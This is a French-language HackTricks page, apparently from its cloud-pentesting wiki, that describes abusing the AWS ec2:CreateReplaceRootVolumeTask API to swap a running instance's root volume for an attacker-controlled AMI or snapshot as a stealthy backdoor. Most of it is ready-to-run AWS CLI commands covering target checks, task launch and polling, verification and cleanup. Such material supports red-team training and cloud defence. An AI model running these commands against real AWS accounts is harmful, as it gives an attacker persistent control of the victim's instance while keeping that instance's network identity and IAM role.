AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Exploiter ec2:CreateReplaceRootVolumeTask pour remplacer le volume racine EBS d’une instance en cours d’exĂ©cution par un volume restaurĂ© depuis une AMI ou un snapshot contrĂŽlĂ© par l’attaquant. L’instance redĂ©marre automatiquement et reprend avec le systĂšme de fichiers racine contrĂŽlĂ© par l’attaquant tout en conservant les ENIs, les IP privĂ©es/publiques, les volumes non-racine attachĂ©s, et les mĂ©tadonnĂ©es de l’instance / le rĂŽle IAM.

Prérequis

  • L’instance cible utilise EBS comme stockage racine et s’exĂ©cute dans la mĂȘme rĂ©gion.
  • AMI ou snapshot compatible : mĂȘme architecture/virtualisation/mode de dĂ©marrage (et codes produit, si applicables) que l’instance cible.

Vérifications préalables

REGION=us-east-1
INSTANCE_ID=<victim instance>

# Ensure EBS-backed
aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text

# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)

Remplacer le volume racine depuis une AMI (préféré)

IMAGE_ID=<attacker-controlled compatible AMI>

# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)

# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done

Alternative — en utilisant un snapshot:

SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID

Preuves / Vérification

# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)

# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"

# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text

RĂ©sultat attendu : ENI_ID et PRI_IP restent les mĂȘmes ; l’ID du root volume passe de $ORIG_VOL Ă  $NEW_VOL. Le systĂšme dĂ©marre avec le systĂšme de fichiers provenant de l’AMI/snapshot contrĂŽlĂ©e par l’attaquant.

Remarques

  • L’API ne requiert pas que vous arrĂȘtiez manuellement l’instance ; EC2 orchestre un redĂ©marrage.
  • Par dĂ©faut, le volume EBS racine remplacĂ© (ancien) est dĂ©tachĂ© et laissĂ© dans le compte (DeleteReplacedRootVolume=false). Cela peut ĂȘtre utilisĂ© pour une restauration ou doit ĂȘtre supprimĂ© pour Ă©viter des coĂ»ts.

Restauration / Nettoyage

# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP

# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks